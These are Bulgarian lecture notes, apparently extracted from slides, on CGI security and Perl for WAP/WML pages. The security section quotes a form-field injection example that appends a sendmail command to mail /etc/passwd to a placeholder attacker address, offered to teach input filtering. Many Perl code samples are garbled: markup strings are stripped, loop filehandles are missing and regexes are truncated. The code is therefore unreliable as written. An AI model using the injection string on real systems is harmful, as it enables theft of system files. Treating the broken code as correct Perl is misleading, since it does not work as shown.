13. Защита на информацията в CGI цикъла
o тази защита се осъществява по НТТР стандарт и се поддържа изцяло от сървера, а не от CGI скрипта; за целта сърверът трябва да е конфигуриран да поддържа методите за идентификация на потребителя
o браузерът помества идентификационните данни за потребителя – име и парола – в хедъра на заявката към сървера
o самите скрипт програми се изпълняват като процеси на сървера, поради което те имат права но не би трябвало да манипулират други процеси на сървера, неговите настройващи променливи и други защитени документи – за което има разработен CGI стандарт, включващ следните изисквания:
o скриптовете се разполагат в специална директория на сървера – обикновено cgi-bin, чието съдържание да е достъпно за изпълнение (вкл. резултата) но не и за разглеждане на списъка файлове от браузера
o ако браузерът адресира скрипт, за който няма права на изпълнение, сърверът връща резултат за грешка както при несъществуващ файл
Стр. 5 от 6
WAP/WML 10
o при разработването на скрипт програмите се препоръчва те да съдържат изчерпателни филтри за премахване на нежелателно съдържание от низовете на потребителските форми – напр. управляващи символи и команди към ОС
o пример за въвеждане на потребителски мейл-адрес с добавяне на хакерска команда към ОС:
my_name@my_box.com;sendmail my_hacker_address@wonderland.com < /etc/passwd o повечето сървери са с инсталиран Perl-интерпретатор и когато той е разположен в една и съща директория с викащите го скрипт програми e възможно с команда unlink, включена в Perl-скрипта, да се изтрият всички файлове от съответната cgi-bin директория; затова Perl интерпретаторът трябва да се разполага в
отделна директория
WAP/WML 11
XI. Скрипт език Perl: променливи, типове данни и управление
1. Perl скриптове в CGI
o Perl – Practical Extraction and Report Language – е интерпретиран скрипт език, който систематизира синтаксиса и семантиката на разнообразни програмни средства за UNIX платформи
o прилага се като основно средство за разработване на CGI скриптове, тъй като е:
o удобно средство за описване на обработката на символни низове – синтактичен разбор и манипулация на низове от HTML- и WML-формите
o даващ възможност за компактно деклариране на достъпа до файлове,
директории и отдалечени (мрежови) устройства
o с максимална преносимост на кода поради това че е интерпретиран език (+
наличието на ефективни интерпретатори за практически всеки тип сървер)
o свободноразпространяван безплатен софтуер
2. Техническа характеристика на Perl
o интерпретаторите на Perl предлагат сравнително бързо изпълнение на кода (макар и да отсъпват – но “с малко” - по този параметър на обичайните системи с компилиран код), тъй като предварително зареждат целия скрипт в оперативната памет и го конвертират до вътрешен двоичен код с по-бърза интерпретация от обичайната
o разработването и настройката на програми е бързо и почти спонтанно, тъй като се поддържат значителен брой от популярните синтактични структури
o същевременно поради голямата широта и разнообразие се изисква значителен опит преди пълното овладяване на изразните средства и представянето на универсални синтактични концепции (но това не се налага за голяма част от по-елементарните сърверни програми)
3. Коментари
o коментарите са [част от] редове, започващи с неопределен брой шпации и диез “#”, след което следва съдържанието на съответния коментар; всеки отделен ред коментар се предхожда от #
o коментарните редове не се интерпретират
o първият ред на всяка програма на Perl е специален коментар, съдържащ абсолютния локален адрес на интерпретатора на Perl; този коментар се въвежда с низа “#!”:
#!/usr/bin/perl
o командните интерпретатори на UNIX и LINUX връщат абсолютния локален адрес на Perl
интерпретатора в отговор на командата
$>which perl
4. Променливи и типове данни
o данните се структурират в променливи с идентификатор, стойност и имплицитен тип
o декларацията на [скаларна] променлива се въвежда с $ а началната ù стойност се задава с оператор =
o обръщение към стойноста на променлива-низ в рамките на друг низ (литерал) се задава с израза $perl_string_identifier
o низовете се ограничават с кавички:
Стр. 1 от 8
WAP/WML 11
o когато кавичките са двойни (“”) и низа съдържа $, символите след $ се интерпретират като идентификатор на променлива от тип низ и се заменят със стойността на този низ
o когато кавичките са единични (‘’), $ се интерпретира като обикновен символ
o израз в обратни единични кавички не е низ (``), а обръщение към външна програма
o примери:
$var1 = “A string sample”
$var2 = “$var1 with correct syntax”
$var3 = ‘we sell everything for $5 or less’
$var4 = “we sell everything for $5 or less”
#var2 value is:
# “A string sample with correct syntax”
#var3 value is the same as the literal
#check if var4 = var3
$pi = 3.1415
$bool_var = true
5. print функция
o print е често употребявана стандартна функция, която дава възможност за извеждане на низ към стандартния изход, което в CGI-WAP контекст означава изпарщане на съдържание към WAP шлюз
o специалните символи в тези низове се предхождат от “\” – напр. \n за нов ред \t за табулация
o в CGI предаваното съдържание започва с декларация на неговия тип, поради което първата print функция във всяка програма за генерация на WML страници е:
print “Content-Type: text/vnd.wap.wml\n\n”
o при настройка Perl програмата първоначално се интерпретира локално, отстраняват се синтактичните грешки, проверява се генерирания WML код (с евентуално отстраняване на семантичните грешки) и се разполага на сървера, обикновено в директория cgi-bin
o за да се изпълни скрипт програмата от сървера при съответна заявка – е необходимо съдържащия я файл да има съответните права за достъп – за четене и изпълнение
o пример (изпълнете локално командата
>perl ex8-11_05.pl
и сравнете генерираното съдържание с пример еx1-03_20_1.wml):
#! c:\perl\bin\perl
$_1 = "First";
$_2 = "Second";
$_3 = "Third";
$_4 = "Fourth";
$DTD = "\n
1.1//EN\"\n\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n";
# COMPARE THIS $DTD VARIABLE CONTENT WITH THE STANDARD DTD IN WML CARDS
# DEFINE CONTENT TYPE:
print "Content-Type: text/vnd.wap.wml\n\n";
# THE ABOVE LINE HAS TO BE IN EVERY CGI PROGRAM
# NOTICE THE LINE BREAKS: \n\n ...
# AFTER DEFINING THE CONTENT TYPE
print "$DTD\n";
print "\n\n";
print "
\n";
print " \n";
Стр. 2 от 8
WAP/WML 11
print " $_1 row: $_1 cell | \n$_1 row: $_2 cell | \n$_1 row: $_3
cell | \n";
print " $_2 row: $_1 cell | \n$_2 row: $_2 cell | \n$_2 row: $_3
cell | \n";
print " $_3 row: $1st cell | \n$_3 row: $_2 cell | \n$_3 row: $_3
cell | \n";
print " $_4 row: $1st cell | \n$_4 row: $_2 cell | \n$_4 row: $_3
cell | \n";
print "\n \n
\n\n\n"
6. Типове данни - 2
o имплицитния тип на данните не е асоцииран с формални определители (както в другите езици integer, float, string …); вместо това в Perl понятието тип по-скоро характеризира структурата на данните, като една скаларна величина на практика може да бъде цяло число или такова с плаваща запетая, символен низ или булева стойност
o дефинирани са следните типове (т.е. структури):
o скалари – адресирани с $ пред идентификатора
o масиви – адресирани с @
o асоциативни масиви (hash arrays) – адресирани с %
o [по тази логика файловете и директориите също трябва да се отнесат към валидните типове данни в Perl]
7. Масиви
o масивите са едномерни индексирани списъци от елементи (очевидно елементите са скалари – тъй като индексацията е едномерна); индексът стартира от 0
o обръщението към масива е с водещ символ@: @array_id, а към състъвните скалари – с
$: $array_id[indx]; последния елемент на списъка се адресира с #
o примери:
$weekday = “Monday”; # Scalar variable
@weekdays = (“Monday”, “Funday”, “Sunday”); # Array
$weekdays[0]; # returns “Monday”
$weekdays[$#weekdays]; # returns “Sunday”
8. Асоциативни масиви
o тези масиви са списък от наредени двойки от тип иднетификатор-стойност, чиито стойности се задават при декларация на променливата
o вместо по индекс, достъпът до стойността на отделен елемент се осъществява по декларирания й идентификатор
o пример:
%colors = (‘red’, 0x00f, ‘green’, 0x0f0, ‘blue’, 0xf00) ; # declaration
$colors{‘blue’}; # reference to the value 0xf00
9. Подпрограми
o подпрограмите се използват за структуриране на кода и обръщението към тях става по обичайния синтаксис с идентификатор и списък с реални параметри в скоби; за яснота на обръщението идентификаторът може да се предхожда от &
o дефиницията на падпрограма може да се разположи на произволно място в програмата и се предхожда от ключа sub
o списъкът формални параметри не се декларира заедно с идентификатора на подпрограмата; по конвенция той се съдържа в имплицитния масив @_, в който формалните параметри са включени по индекс (стартирайки с 0) а не по идентификатор; съответно обръщението към техните стойности е
$_[parameter’s_index]
Стр. 3 от 8
WAP/WML 11
o при такъв синтаксис не е необходимо да има съответствие между броя на реалните и формалните параметри (а само на позицията им в списъка)
o с ключа my се задава локален обхват на декларираната променлива в рамките на блока и той често се използва при деклариране на локални променливи само за съответната подпрограма
o примери:
&A_SUB_PROG($param1, $param2, $param3); #subroutine call
sub A_SUB_PROG { #subroutine definition
my $first_param = $_[0];
my $second_param = $_[1];
}
use strict 'vars'; #factorial.pl in ex4-06_05.wml die "Usage: $0 number\n" unless @ARGV == 1;
my $n = factorial($ARGV[0]);
print "$ARGV[0] factorial is $n.\n";
sub factorial {
my ($n) = @_;
if ($n == 0) { return 1 }
else { return $n * factorial($n-1) }
}
10. Аритметични оператори
o операторите в Perl се ползват за дефиниране на изрази върху променливите и промяна на техните стойности; аритметични оператори са: + за събиране (но не и за конкатенация на низове, за която се ползва .), - за изваждане, * за умножение, / за деление, % за остатъка от целочислено деление и ** за степенуване
o при неявния тип на данните числовите стойности могат да се интерпретират и като символни низове
o операторът = e за присвояване – от дясно наляво – като десния операнд може да е израз (вкл. съдържащ обръщение към подпрограма или стандартна функция)
o съкратен запис на аритметична операция и присвояване за една и съща променлива се допуска в обичайните форми:
$i = $i + 6;
$i += 6; #short notation
o операторите за инкрементиране и декрементиране са съгласно синтаксиса на С и също имат префиксен и постфиксен вариант:
$var1 = ++$i; # var1 == i
$var1 = $i++; # var1 < i
o пример:
#! c:\perl\bin\perl
print "Content-Type: text/vnd.wap.wml\n\n";
print "\n";
print "
print "\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n";
print "\n\n";
print "
\n";
$number1 = 10;
$number2 = 20;
$count = $number1 + $number2; # $count variable is 30. print "$count
\n";
$minus = $number1 - $number2; # $minus variable is -10. print "$minus
\n";
$multiple = $number1 * $number2; # $multiple variable is 200. print "$multiple
\n";
$division = $number1 / $number2; # $division variable is 0.5
print "$division
\n";
Стр. 4 от 8
WAP/WML 11
$modulo = $number1 % $number2; # $modulo variable is 10. print "$modulo
\n";
$power = $number1 ** $number2; # $power variable is 1e+20
print "$power
\n";
print $number1 + $number2; # output is 30
print "
\n";
print $number1 . $number2; # output is 1020
print "
\n"; print " \n"; print "\n";
11. Оператори за сравнение
o прилагат се върху всеки от неявните типове данни, тъй като между нечисловите стойности също е дефинирана релация на подреждане; тези оператори са: <, >, <=, >=, и == с очевидна семантика, като резултатът от операцията е 1 когато сравнението съответства на съотношението между левия и десния операнд, а в противен случай – празен низ
o използва се и операторът <=>, който връща стойност -1, 0 и 1 респ. в зависимост кой от трите символа съответства на сравнението между левия и десния му операнд
o за сравнение на низове се използват специални оператори
12. Логически, побитови и тестови оператори
o логическите оператори са: ! или not за отрицание, && или and - за конюнкция, || или
or за дизюнкция
o побитови оператори са: & - за конюнкция, | - за дизюнкция, ^ или xor - за сума по модул 2
o оператори за преместване на битовете със запазване на бита за знак (т.е. умножение и деление по степените на 2) са << и >> - напр.
$a = $a << 3; # a = a*8
o тестовите оператори се отнасят файлови типове и са следните: : -e – за съществуването на файла, -d – дали файлът е директория и -s – който връща размера на дадения файл в байтове – напр.:
if (!-e $f_name) {print “File $f_name does not exist\n”;}
13. Контролни структури; условно изпълнение на блокове
o контролните структури задават условно или многократно изпълнение на програмни блокове – кодът между две фигурни скоби
o if-else структурата може да съществува в безалтернативен вариат – само с if клауза, в разгънат вариант – с една алтернатива т.е. if-else или в многоалтернативен вариант, при който междинните алтернативи се въвеждат с elsif клаузи (семантика на case)
o unless структурата е семантичен еквивалент на безалтернативен if с инвертирано условие и се прилага само за по-разбираем код от програмиста
o if и unless могат да се ползват и като ключове, при което записа на клаузата и условието се поставят след блока за условно изпълнение – отново с цел по-разбираем код
14. Многократно изпълнение на блокове
o за деклариране на циклично изпълнение на даден блок се ползват структурите while,
do-until, for и foreach
Стр. 5 от 8
WAP/WML 11
o while задава условието за изпълнение на блока като предпоставка за цикъла, докато при структурата do-until условието се проверява след всяко изпълнение на вписания блок; логиката на условието е обратна (т.е. с инверсия на условието в двете структури се постига една и съща семантика)
o структурата за цикъл for не се различава от познатия синтаксис на С или WMLScript
o за обработка на списъци (т.е. еднодименсионни масиви) се ползва foreach, при което индексът се асоциира с брояча на цикъла, като същественото предимство пред for е че крайната стойност на индекса не се декларира предварително
o за разклоняване на изпълнението в цикъл се ползват командите next, last и goto
(последната с ограничено приложение); next (екв. на continue) предава управлението към следващия цикъл без да се довършва текущия, а last (екв. на break) прекратява изпълнението всички оставащи цикли – напр.
LINE: while () { # LINE is a reference (eтикет)
next LINE if /^#/; # Skip printing of the lines beginning with comment
print; }
o пример:
#! c:\perl\bin\perl
print "Content-Type: text/vnd.wap.wml\n\n";
print "\n";
print "
print "\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n"; print "\n\n"; print "
\n";
$i = 10;
$j = 0;
while ($i > $j) {
print "$i is bigger than $j.
\n";
$j++;
}
do {
print "$j is smaller than $i.
\n";
$j++; # Change code to print complete sequence !!!
} until ($j >= $i);
$counterplus = 0;
$counterminus = 0;
for ($i = 1; $i <= 5; $i++) {
$plus = ++$counterplus;
$minus = --$counterminus;
print "Round $i: $plus $minus.
\n";
}
print "
\n"; print "\n"; print "\n";
15. Символни низове
o низовете се представят с кавички в началото и края, като употребата на двойни, единични и обратни кавички има различна семантика – вж. т. 4.; фóрмата с единични кавички, при която $ и @ в низа не се интерпретират като марки на променливи, а като управляващи символи, е необходима за изрази от типа:
$address = ‘name@mail.com’;
$price = ‘$1.99’;
o фóрмата с обърнати единични кавички е един от начините за обръщение към външна команда или програма и се използва най-често за присвояване на резултата от обръщението на дадена променлива:
# Print a directory in UNIX
$cmd = `ls – al`
Стр. 6 от 8
WAP/WML 11
16. Операции на символни низове
o тези опартори са lt, gt, le, ge, eq, nе и cmp – с обичайната семантика и стойности на операцията 1 и “”, а специално за cmp – като при <=>:
if ($pwd eq “1234”) {
print “One hardly can find more careless password than $pwd.\n”; }
o конкатенация и повторение на низове се означават съответно с . и х; за тях са приложими и съкратените записи с присвояване:
$line_width = 80;
$char = “~”;
print “$char” x $line_width;
$char x= 60; # $char becomes a line of 60 ~
$char .= $line; # $char = $char . $line
17. Оператори с регулярни изрази
o Perl има развити средства за откриване и редактиране на части от символни низове – т.нар. регулярни изрази, в които операндите-низове се задават в наклонени черти (без кавички): /some string/
o за целта са дефинирани и множество оператори – някои от които са:
o операторът =~ връща true ако десният операнд се съдържа като подниз в левия o неявната системна променлива $_ съдържа текущия ред (фокус) от обработван вход (файл или системно устройство) – обръщението към нея е имплицитно и
всъщност тя дори не присъства в кода
o ограничител (anchor) – префикса ^ - ограничава търсенeто на даден подниз
(обикновено само символ) в началото на операнда-низ
o операторът за търсене m се използва като префикс на търсения низ, но когато низът е в наклонени черти този оператор се подразбира в израза
o операторът за замяна на низове s/// често се използва с eдин или повече постфиксни едносимволни ключове:
g – замяна на всички съвпадения (с първия операнд) – ако не се ползва този ключ замяната спира след първото съвпадение
i – главни и малки букви не се различават (считат се за съвпадение)
m – за операция само върху първия ред от низа
s – за операция върху всички редове в низа
o операторът за замяна на символи по списък tr/// подменя символите от първия списък с тези от втория
o синтактични примери:
if ($line =~ /
print $line; } # retrieve the first line of a WML card while () {
print if /
} # the extended notation: print if m/
LINE: while () {
next LINE if /^#/; # if the line in $_ starts with comment mark
print; } # its printing will be skipped
next LINE if $line =~ /^#/; # above condition for the specific variable $line tr/A-Z/a-z/; # conversion to lower case letters open(FILE,”test.wml”);
while () {
$_ =~ tr/A-ZÅÆÇ/a-zåæç/; print $_;}
close(FILE); # range and enumeration list conversion using $_
Стр. 7 от 8
WAP/WML 11
open(FILE,”test.wml”);
while () {
tr/A-ZÅÆÇ/a-zåæç/; print;} # list conversion omitting the default $_
close(FILE);
o пример – замяна на симовлите < и > със стандартните им кодове във файла test.wml:
#! c:\perl\bin\perl
print "Content-Type: text/vnd.wap.wml\n\n";
print "\n";
print "
print "\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n";
print "\n\n";
print "
\n";
open(FILE,"test.wml");
while () {
print if ( (s/</g) && (s/>/>/g) );}
close(FILE);
print "
\n"; print " \n"; print "\n";
18. Стандартни функции с регулярни изрази
o функцията chop премахва последния символ в низ – използва се най-често за премахване на символа за нов ред и във варианта chomp извършва операцията само ако този символ е за нов ред
o grep търси подниз или регулярен израз в друг низ
o sort сортира списък (масив) от низове по азбучен ред, а reverse – в обратен ред
o split открива зададен символ-разделител в низ и връща списък от съставните поднизове; прилага се предимно при разделяне на двойките идентификатор-стойност от формите, където разделителят между двойките е &, а този между елементите на всяка двойка е =
o синтактични примери:
open(FILE,”test.wml”);
$i = 0;
while() {@array[++$i] = &_;} # loading the lines into array elements close(FILE);
print sort @array;
# what will be the result of print reverse sort @array … ?
@array = split(/&/,$string);
($tmp1, $tmp2) = split(/=/,$_);
o пример – печат на всички редове от файла test.wml, които не започват със символа <
т. е. с форматираща команда:
#! c:\perl\bin\perl
print "Content-Type: text/vnd.wap.wml\n\n";
print "\n";
print "
print "\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n";
print "\n\n";
print "
\n"; open(_FILE_,"test.wml"); while(<_FILE_>) {
print unless grep (/^,$_);
} close(_FILE_); print "
\n";
print "\n";
print "\n";
WAP/WML 12
XII. Динамични и интерактивни WAP приложения с Рerl
1. Средства за динамични приложения в Perl
o смисълът на ползването на скрипт приложения е динамичната генерация на WML [или HTML] документи – с отчитане на променящ се статус на елементи на сървера (или в интерактивен режим)
o в Perl често за целта се ползват средства за достъп до текущите дата и време, както и до файлове, които освен локални, могат да бъдат отдалечени и най-често това е съдържание, публикувано на WWW-сървери
o функцията time връща локалното време на сървера и резултатът й често се ползва като аргумент на друга функция – localtime – която го конвертира до списък от скалари (номерацията на месеца стартира от 0, а тази на годината – от
1900)
o освен print се ползва и функцията за форматиран изход printf, при която се задава формат на аргументите, както и sprintf – за инициализиране на променливи, вместо печат в стандартния изход
o достъпът до файлове се реализира с функциите open(File_handle,
“valid_file_id”) и close(File_handle)
когато името на отваряния файл се цитира с префикс >, файлът се отваря за запис от начало и при съществуващ файл това означава че предишното му съдържание се изтрива
ако префиксът е >>, новото съдържание се добавя след съществуващото
ако префиксът е |, обектът се интерпретира като канал (pipe – напр. команда или програма, която чете аргументите си от командния ред), а не като файл
без префикс файлът се отваря за четене
o операторът чете последователно редове от обекта на файловия етикет, като съдържанието се съхранява текущо в имплицитната системна променлива $_, а резултатът от успешна операция е true
o синтактични примери: open(FN,”./usr/lib/elements.text”); while() {
$line = $_; # suppose each line contains a name=value pair
($id, $val) = split(/\=/,$line);....}
open(FN,”>./usr/lib/elements.text”);
print FN $res->content; #вж. т. 3. за достъп до обектни атрибути
close(FN);
# Email $message:
$mailprog = '/usr/bin/sendmail'; open (MAIL, "|$mailprog -t"); print MAIL "To: $email\n";
print MAIL "From: wapsender\@wapcenter.bg\n";
print MAIL "Subject: WAP\n";
print MAIL "WAP Message:\n";
print MAIL "------------------------------------------------------\n";
print MAIL "$message\n";
print MAIL "------------------------------------------------------\n";
print MAIL "\n";
close (MAIL);
o пример – програмата генерира WML документ с текущата дата:
#!c:\perl\bin\perl.exe
use CGI qw(:standard);
Стр. 1 от 7
Сподели с приятели: |